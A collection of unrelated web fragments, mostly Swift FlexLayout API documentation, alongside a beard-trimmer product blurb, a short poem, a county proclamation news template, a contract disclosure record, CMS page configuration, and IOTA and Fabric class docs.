Innovative beard trimmer where beauty and simplicity come together in a compact, elegant and lineal design crafted for an improved user experience.
Crafted for improving the ergonomics
Crafted for improving the handle’s ergonomics, this trimmer features a unique design, defined by two fine lines that subtly appear at the centre growing towards the comb and disappearing again outlining a comfortable rubberized grip.
Control
The main control button is strategically centered within the body. There are 3 different versions of this product and all of them follow the same principles. Precision, delicacy and comfort in your thumb.
Touch
The finishes convey comfort. With an elegant combination of matt and soft textures, the grip becomes more efficient while pleasant to the touch.


THE OUTING
An outburst of anger near the road
A refusal to speak on the path
A silence in the pine woods
A silence across the old railroad bridge
An attempt to be friendly in the water
A refusal to end the argument on the flat stones
A cry of anger on the steep bank of dirt
A weeping among the bushes


---
subject: Miami-Dade County Declares July 26th Republica Day
---
{{>article
date="Wednesday, July 26th, 2017"
image-url="http://republica.net/wp-content/uploads/2017/07/july-26th-Republica-Day-900x600.jpg"
text-block="We thank Mayor Carlos Gimenez, Chairman Esteban Bovo, Jr., and the Board of County Commissioners, for honoring Republica for its 10th anniversary, declaring today “Republica Day” in Miami-Dade County. The proclamation was presented by Mike Hernandez, senior advisor to the Mayor and director of communications, to our co-founders, Jorge A. Plasencia and Luis Casamayor, during a meeting we hosted on July 26th of communications leaders from all County departments."
}}
{{>sidebar
sidebar-title="RECENT NEWS"
news-url1="#"
news-title1="Miami-Dade County Declares July 26th Republica Day"
news-url2="#"
news-title2="Republica welcomes Bianca Ruiz as Vice President, Group Account Director and Tania Echevarria as Senior Manager, Creative Operations"
news-url3="#"
news-title3="Another News"
news-url4="#"
news-title4="Another News"
news-url5="#"
news-title5="Another News"
category-title="Categories"
category-url1="#"
category1="Bank United"
category-url2="#"
category2="Baptist Health"
category-url3="#"
category3="Another Category"
category-url4="#"
category4="Another Category"
category-url5="#"
category5="Another Category"
}}


|
Proactive Disclosure
|
|
Proactive Disclosure of Contracts over $10,000
| Vendor Name: | UNIVERSITE LAVAL |
| Reference Number: |<PHONE_NUMBER> |
| Contract Date: | 2007-10-01 |
| Description of Work: | 492 RESEARCH CONTRACTS (SPECIFY) |
| Contract Period: | 2007-10-01 to 2010-09-30 |
| Delivery Date: | |
| Contract Value: | $1,168,490.40 |
| Comments: | |
|


Before we can get predictions from the model we just created, we need to start a swarm by calling startSwarm()
, then we'll keep track of the swarm progress. Once it has completed, we should get some data about how much confidence Grok has about predicting against this data.
NOTE: The chart above will not display in some browsers. Please use Chrome for the best display. This will be fixed soon.


Type the words shown on the balloons to pop them as they appear.
It is your duty to pop the balloons before they can reach the spaceship!
Lives Left: 10 Balloons Popped: 0
Difficulty: Easy Medium Hard Retry


360 degree photo of mandir shree roopnarayan ji
360 degree photo of mandir shree roopnarayan ji
360 degree photo of laxman julha


title = "Tournaments"
url = "/account/tournaments"
layout = "_main-layout"
is_hidden = 0
[session]
security = "user"
redirect = "auth/login"
[builderList]
modelClass = "JakeFeeley\MackenzieTour\Models\Event"
scope = "-"
scopeValue = "{{ :scope }}"
displayColumn = "title"
noRecordsMessage = "No records found"
detailsPage = "-"
detailsUrlParameter = "id"
pageNumber = "{{ :page }}"
[products]
filterComponent = "productsFilter"
setPageTitle = 0
includeVariants = 1
includeChildren = 0
perPage = 9
paginate = 1
==
Enter into an upcoming tournament
Upcoming Tournaments


#include <neighbor.hpp>
◆ Neighbor() [1/2]
| IOTA::Models::Neighbor::Neighbor |
( |
| ) |
|
|
default |
◆ Neighbor() [2/2]
| IOTA::Models::Neighbor::Neighbor |
( |
const Types::Trytes & |
address, |
|
|
const int64_t & |
numberOfAllTransactions, |
|
|
const int64_t & |
numberOfInvalidTransactions, |
|
|
const int64_t & |
numberOfNewTransactions |
|
) |
| |
Full init ctor.
- Parameters
-
| address | Address of your peer. |
| numberOfAllTransactions | Number of all transactions sent (invalid, valid, already-seen). |
| numberOfInvalidTransactions | Number of invalid transactions your peer has sent you. |
| numberOfNewTransactions | Number of newly transmitted transactions. |
◆ ~Neighbor()
| IOTA::Models::Neighbor::~Neighbor |
( |
| ) |
|
|
default |
◆ getAddress()
| const Types::Trytes& IOTA::Models::Neighbor::getAddress |
( |
| ) |
const |
◆ getNumberOfAllTransactions()
| const int64_t& IOTA::Models::Neighbor::getNumberOfAllTransactions |
( |
| ) |
const |
- Returns
- Number of all transactions sent (invalid, valid, already-seen).
◆ getNumberOfInvalidTransactions()
| const int64_t& IOTA::Models::Neighbor::getNumberOfInvalidTransactions |
( |
| ) |
const |
- Returns
- Invalid transactions your peer has sent you. These are transactions with invalid signatures or overall schema.
◆ getNumberOfNewTransactions()
| const int64_t& IOTA::Models::Neighbor::getNumberOfNewTransactions |
( |
| ) |
const |
- Returns
- New transactions which were transmitted.
◆ operator!=()
| bool IOTA::Models::Neighbor::operator!= |
( |
const Neighbor & |
rhs | ) |
const |
- Parameters
-
| rhs | An object to compare with this object. |
- Returns
- Whether the current neighbor is different from the given one.
◆ operator==()
| bool IOTA::Models::Neighbor::operator== |
( |
const Neighbor & |
rhs | ) |
const |
- Parameters
-
| rhs | An object to compare with this object. |
- Returns
- Whether the current neighbor is the same as the given one.
◆ setAddress()
| void IOTA::Models::Neighbor::setAddress |
( |
const Types::Trytes & |
addr | ) |
|
- Parameters
-
| addr | Set address of your peer. |
◆ setNumberOfAllTransactions()
| void IOTA::Models::Neighbor::setNumberOfAllTransactions |
( |
const int64_t & |
nbTrx | ) |
|
- Parameters
-
| nbTrx | Set number of all transactions sent (invalid, valid, already seen). |
◆ setNumberOfInvalidTransactions()
| void IOTA::Models::Neighbor::setNumberOfInvalidTransactions |
( |
const int64_t & |
nbTrx | ) |
|
- Parameters
-
| nbTrx | Set number of invalid transactions sent your peer. |
◆ setNumberOfNewTransactions()
| void IOTA::Models::Neighbor::setNumberOfNewTransactions |
( |
const int64_t & |
nbTrx | ) |
|
- Parameters
-
| nbTrx | Set number of newly transmitted transactions. |
The documentation for this class was generated from the following file:


Flex
public class Flex
FlexLayout interface.
The interface is accessible from any UIView class instance:
label.flex.margin(10)
-
Flex items’s UIView.
Declaration
Swift
public let view: UIView
-
Item natural size, considering only properties of the view itself. Independent of the item frame.
Declaration
Swift
public var intrinsicSize: CGSize
-
This method adds a flex item (UIView) to a flex container. Internally the methods adds the UIView has subviews and enables flexbox.
Declaration
Swift
public func addItem() -> Flex
Return Value
The added view flex interface
-
This method is similar to
addItem(: UIView)
except that it also creates the flex item’s UIView. Internally the method creates an UIView, adds it has subviews and enables flexbox. This is useful to add a flex item/container easily when you don’t need to refer to it later.Declaration
Swift
public func addItem(_ view: UIView) -> Flex
Parameters
view
view to add to the flex container
Return Value
The added view flex interface
-
This method is used to structure your code so that it matches the flexbox structure. The method has a closure parameter with a single parameter called
flex
. This parameter is in fact, the view’s flex interface, it can be used to adds other flex items and containers.Declaration
Swift
public func define(_ closure: (_ flex: Flex) -> Void) -> Flex
Parameters
closure
Return Value
Flex interface
-
The method layout the flex container’s children
Declaration
Swift
public func layout(mode: LayoutMode = .fitContainer)
Parameters
mode
specify the layout mod (LayoutMode).
-
This property controls dynamically if a flexbox’s UIView is included or not in the flexbox layouting. When a flexbox’s UIView is excluded, FlexLayout won’t layout the view and its children views.
Declaration
Swift
public var isIncludedInLayout: Bool = true
-
This method controls dynamically if a flexbox’s UIView is included or not in the flexbox layouting. When a flexbox’s UIView is excluded, FlexLayout won’t layout the view and its children views.
Declaration
Swift
public func isIncludedInLayout(_ included: Bool) -> Flex
Parameters
included
true to layout the view
Return Value
-
The framework is so highly optimized, that flex item are layouted only when a flex property is changed and when flex container size change. In the event that you want to force FlexLayout to do a layout of a flex item, you can mark it as dirty using
markDirty()
.Dirty flag propagates to the root of the flexbox tree ensuring that when any item is invalidated its whole subtree will be re-calculated
Declaration
Swift
public func markDirty() -> Flex
Return Value
Flex interface
-
Returns the item size when layouted in the specified frame size
Declaration
Swift
public func sizeThatFits(size: CGSize) -> CGSize
Parameters
size
frame size
Return Value
item size
-
The
direction
property establishes the main-axis, thus defining the direction flex items are placed in the flex container.The
direction
property specifies how flex items are laid out in the flex container, by setting the direction of the flex container’s main axis. They can be laid out in two main directions, like columns vertically or like rows horizontally.Note that row and row-reverse are affected by the layout direction (see
layoutDirection
property) of the flex container. If its text direction is LTR (left to right), row represents the horizontal axis oriented from left to right, and row-reverse from right to left; if the direction is rtl, it’s the opposite.Declaration
Swift
public func direction(_ value: Direction) -> Flex
Parameters
value
Default value is .column
-
The
wrap
property controls whether the flex container is single-lined or multi-lined, and the direction of the cross-axis, which determines the direction in which the new lines are stacked in.Declaration
Swift
public func wrap(_ value: Wrap) -> Flex
Parameters
value
Default value is .noWrap
-
Direction defaults to Inherit on all nodes except the root which defaults to LTR. It is up to you to detect the user’s preferred direction (most platforms have a standard way of doing this) and setting this direction on the root of your layout tree.
Declaration
Swift
public func layoutDirection(_ value: LayoutDirection) -> Flex
Parameters
value
new LayoutDirection
Return Value
-
The
justifyContent
property defines the alignment along the main-axis of the current line of the flex container. It helps distribute extra free space leftover when either all the flex items on a line have reached their maximum size. For example, if children are flowing vertically,justifyContent
controls how they align vertically.Declaration
Swift
public func justifyContent(_ value: JustifyContent) -> Flex
Parameters
value
Default value is .start
-
The
alignItems
property defines how flex items are laid out along the cross axis on the current line. Similar tojustifyContent
but for the cross-axis (perpendicular to the main-axis). For example, if children are flowing vertically,alignItems
controls how they align horizontally.Declaration
Swift
public func alignItems(_ value: AlignItems) -> Flex
Parameters
value
Default value is .stretch
-
The
alignSelf
property controls how a child aligns in the cross direction, overriding thealignItems
of the parent. For example, if children are flowing vertically,alignSelf
will control how the flex item will align horizontally.Declaration
Swift
public func alignSelf(_ value: AlignSelf) -> Flex
Parameters
value
Default value is .auto
-
The align-content property aligns a flex container’s lines within the flex container when there is extra space in the cross-axis, similar to how justifyContent aligns individual items within the main-axis.
Declaration
Swift
public func alignContent(_ value: AlignContent) -> Flex
Parameters
value
Default value is .start
-
The
grow
property defines the ability for a flex item to grow if necessary. It accepts a unitless value that serves as a proportion. It dictates what amount of the available space inside the flex container the item should take up.Declaration
Swift
public func grow(_ value: CGFloat) -> Flex
Parameters
value
Default value is 0
-
It specifies the
flex shrink factor
, which determines how much the flex item will shrink relative to the rest of the flex items in the flex container when there isn’t enough space on the main-axis.When omitted, it is set to 0 and the flex shrink factor is multiplied by the flex
basis
when distributing negative space.A shrink value of 0 keeps the view’s size in the main-axis direction. Note that this may cause the view to overflow its flex container.
Declaration
Swift
public func shrink(_ value: CGFloat) -> Flex
Parameters
value
Default value is 1
-
This property takes the same values as the width and height properties, and specifies the initial size of the flex item, before free space is distributed according to the grow and shrink factors.
Specifying
nil
set the basis asauto
, which means the length is equal to the length of the item. If the item has no length specified, the length will be according to its content.Declaration
Swift
public func basis(_ value: CGFloat?) -> Flex
Parameters
value
Default value is 0
-
The value specifies the view’s width in pixels. The value must be non-negative.
Declaration
Swift
public func width(_ value: CGFloat?) -> Flex
-
The value specifies the view’s width in percentage of its container width. The value must be non-negative. Example: view.flex.width(20%)
Declaration
Swift
public func width(_ percent: FPercent) -> Flex
-
The value specifies the view’s height in pixels. The value must be non-negative.
Declaration
Swift
public func height(_ value: CGFloat?) -> Flex
-
The value specifies the view’s height in percentage of its container height. The value must be non-negative. Example: view.flex.height(40%)
Declaration
Swift
public func height(_ percent: FPercent) -> Flex
-
The value specifies view’s width and the height in pixels. Values must be non-negative.
Declaration
Swift
public func size(_ size: CGSize?) -> Flex
-
The value specifies the width and the height of the view in pixels, creating a square view. Values must be non-negative.
Declaration
Swift
public func size(_ sideLength: CGFloat) -> Flex
-
The value specifies the view’s minimum width in pixels. The value must be non-negative.
Declaration
Swift
public func minWidth(_ value: CGFloat?) -> Flex
-
The value specifies the view’s minimum width in percentage of its container width. The value must be non-negative.
Declaration
Swift
public func minWidth(_ percent: FPercent) -> Flex
-
The value specifies the view’s maximum width in pixels. The value must be non-negative.
Declaration
Swift
public func maxWidth(_ value: CGFloat?) -> Flex
-
The value specifies the view’s maximum width in percentage of its container width. The value must be non-negative.
Declaration
Swift
public func maxWidth(_ percent: FPercent) -> Flex
-
The value specifies the view’s minimum height in pixels. The value must be non-negative.
Declaration
Swift
public func minHeight(_ value: CGFloat?) -> Flex
-
The value specifies the view’s minimum height in percentage of its container height. The value must be non-negative.
Declaration
Swift
public func minHeight(_ percent: FPercent) -> Flex
-
The value specifies the view’s maximum height in pixels. The value must be non-negative.
Declaration
Swift
public func maxHeight(_ value: CGFloat?) -> Flex
-
The value specifies the view’s maximum height in percentage of its container height. The value must be non-negative.
Declaration
Swift
public func maxHeight(_ percent: FPercent) -> Flex
-
AspectRatio is a property introduced by Yoga that don’t exist in CSS. AspectRatio solves the problem of knowing one dimension of an element and an aspect ratio, this is very common when it comes to images, videos, and other media types. AspectRatio accepts any floating point value > 0, the default is undefined.
Declaration
Swift
public func aspectRatio(_ value: CGFloat?) -> Flex
Parameters
value
Return Value
-
AspectRatio is a property introduced by Yoga that don’t exist in CSS. AspectRatio solves the problem of knowing one dimension of an element and an aspect ratio, this is very common when it comes to images, videos, and other media types. AspectRatio accepts any floating point value > 0, the default is undefined.
Declaration
Swift
public func aspectRatio(of imageView: UIImageView) -> Flex
Parameters
value
Return Value
-
The position property tells Flexbox how you want your item to be positioned within its parent.
Declaration
Swift
public func position(_ value: Position) -> Flex
Parameters
value
Default value is .relative
-
Set the left edge distance from the container left edge in pixels.
Declaration
Swift
public func left(_ value: CGFloat) -> Flex
-
Set the top edge distance from the container top edge in pixels.
Declaration
Swift
public func top(_ value: CGFloat) -> Flex
-
Set the right edge distance from the container right edge in pixels.
Declaration
Swift
public func right(_ value: CGFloat) -> Flex
-
Set the bottom edge distance from the container bottom edge in pixels.
Declaration
Swift
public func bottom(_ value: CGFloat) -> Flex
-
Set the start edge (LTR=left, RTL=right) distance from the container start edge in pixels.
Declaration
Swift
public func start(_ value: CGFloat) -> Flex
-
Set the end edge (LTR=right, RTL=left) distance from the container start edge in pixels.
Declaration
Swift
public func end(_ value: CGFloat) -> Flex
-
Set the top margin. Top margin specify the offset the top edge of the item should have from from it’s closest sibling (item) or parent (container).
Declaration
Swift
public func marginTop(_ value: CGFloat) -> Flex
-
Undocumented
Declaration
Swift
public func marginTop(_ percent: FPercent) -> Flex
-
Set the left margin. Left margin specify the offset the left edge of the item should have from from it’s closest sibling (item) or parent (container).
Declaration
Swift
public func marginLeft(_ value: CGFloat) -> Flex
-
Undocumented
Declaration
Swift
public func marginLeft(_ percent: FPercent) -> Flex
-
Set the bottom margin. Bottom margin specify the offset the bottom edge of the item should have from from it’s closest sibling (item) or parent (container).
Declaration
Swift
public func marginBottom(_ value: CGFloat) -> Flex
-
Undocumented
Declaration
Swift
public func marginBottom(_ percent: FPercent) -> Flex
-
Set the right margin. Right margin specify the offset the right edge of the item should have from from it’s closest sibling (item) or parent (container).
Declaration
Swift
public func marginRight(_ value: CGFloat) -> Flex
-
Undocumented
Declaration
Swift
public func marginRight(_ percent: FPercent) -> Flex
-
Set the start margin.
Depends on the item
LayoutDirection
:- In LTR direction, start margin specify the offset the left edge of the item should have from from it’s closest sibling (item) or parent (container).
- IN RTL direction, start margin specify the offset the right edge of the item should have from from it’s closest sibling (item) or parent (container).
Declaration
Swift
public func marginStart(_ value: CGFloat) -> Flex
-
Undocumented
Declaration
Swift
public func marginStart(_ percent: FPercent) -> Flex
-
Set the end margin.
Depends on the item
LayoutDirection
:- In LTR direction, end margin specify the offset the right edge of the item should have from from it’s closest sibling (item) or parent (container).
- IN RTL direction, end margin specify the offset the left edge of the item should have from from it’s closest sibling (item) or parent (container).
Declaration
Swift
public func marginEnd(_ value: CGFloat) -> Flex
-
Undocumented
Declaration
Swift
public func marginEnd(_ percent: FPercent) -> Flex
-
Set the left, right, start and end margins to the specified value.
Declaration
Swift
public func marginHorizontal(_ value: CGFloat) -> Flex
-
Undocumented
Declaration
Swift
public func marginHorizontal(_ percent: FPercent) -> Flex
-
Set the top and bottom margins to the specified value.
Declaration
Swift
public func marginVertical(_ value: CGFloat) -> Flex
-
Undocumented
Declaration
Swift
public func marginVertical(_ percent: FPercent) -> Flex
-
Set all margins using UIEdgeInsets. This method is particularly useful to set all margins using iOS 11
UIView.safeAreaInsets
.Declaration
Swift
public func margin(_ insets: UIEdgeInsets) -> Flex
-
Set all margins to the specified value.
Declaration
Swift
public func margin(_ value: CGFloat) -> Flex
-
Undocumented
Declaration
Swift
public func margin(_ percent: FPercent) -> Flex
-
Set the individually top, left, bottom and right margins.
 Top padding specify the offset children should have from the container’s top edge.
Declaration
Swift
public func paddingTop(_ value: CGFloat) -> Flex
-
Set the left padding. Left padding specify the offset children should have from the container’s left edge.
Declaration
Swift
public func paddingLeft(_ value: CGFloat) -> Flex
-
Set the bottom padding. Bottom padding specify the offset children should have from the container’s bottom edge.
Declaration
Swift
public func paddingBottom(_ value: CGFloat) -> Flex
-
Set the top padding. Top padding specify the offset children should have from the container’s top edge.
Declaration
Swift
public func paddingRight(_ value: CGFloat) -> Flex
-
Set the start padding.
Depends on the item
LayoutDirection
:- In LTR direction, start padding specify the offset children should have from the container’s left edge.
- IN RTL direction, start padding specify the offset children should have from the container’s right edge.
Declaration
Swift
public func paddingStart(_ value: CGFloat) -> Flex
-
Set the end padding.
Depends on the item
LayoutDirection
:- In LTR direction, end padding specify the offset children should have from the container’s right edge.
- IN RTL direction, end padding specify the offset children should have from the container’s left edge.
Declaration
Swift
public func paddingEnd(_ value: CGFloat) -> Flex
-
Set the left, right, start and end paddings to the specified value.
Declaration
Swift
public func paddingHorizontal(_ value: CGFloat) -> Flex
-
Set the top and bottom paddings to the specified value.
Declaration
Swift
public func paddingVertical(_ value: CGFloat) -> Flex
-
Set paddings using UIEdgeInsets. This method is particularly useful to set all paddings using iOS 11
UIView.safeAreaInsets
.Declaration
Swift
public func padding(_ insets: UIEdgeInsets) -> Flex
-
Set all paddings to the specified value.
Declaration
Swift
public func padding(_ value: CGFloat) -> Flex
-
Set the individually top, left, bottom and right paddings.
Declaration
Swift
public func padding(_ top: CGFloat, _ left: CGFloat, _ bottom: CGFloat, _ right: CGFloat) -> Flex
-
Set the view background color.
Declaration
Swift
public func backgroundColor(_ color: UIColor) -> Flex
Parameters
color
new color
Return Value
flex interface
-
Declaration
Swift
public enum Direction
-
Declaration
Swift
public enum JustifyContent
-
Declaration
Swift
public enum AlignContent
-
Declaration
Swift
public enum AlignItems
-
Declaration
Swift
public enum AlignSelf
-
Declaration
Swift
public enum Wrap
-
Declaration
Swift
public enum Position
-
Declaration
Swift
public enum LayoutDirection
-
Defines how the
See morelayout(mode:)
method layout its flex items.Declaration
Swift
public enum LayoutMode


Constructor
new Message(message) → {Message}
The `Message` type is standardized in Fabric as a Array, which can be added to any other vector to compute a resulting state.
Parameters:
| Name | Type | Description |
|---|---|---|
message |
Object | Message vector. Will be serialized by Array#_serialize. |
- Source:
Returns:
Instance of the message.
- Type
- Message
Methods
_setSigner(signer) → {Message}
Sets the signer for the message.
Parameters:
| Name | Type | Description |
|---|---|---|
signer |
Signer | Signer instance. |
- Source:
Returns:
Instance of the Message with associated signer.
- Type
- Message
asRaw() → {Buffer}
Returns a Buffer of the complete message.
- Source:
Returns:
Buffer of the encoded Message.
- Type
- Buffer
sign() → {Message}
Signs the message using the associated signer.
- Source:
Returns:
Signed message.
- Type
- Message
verify() → {Boolean}
Verify a message's signature.
- Source:
Returns:
`true` if the signature is valid, `false` if not.
- Type
- Boolean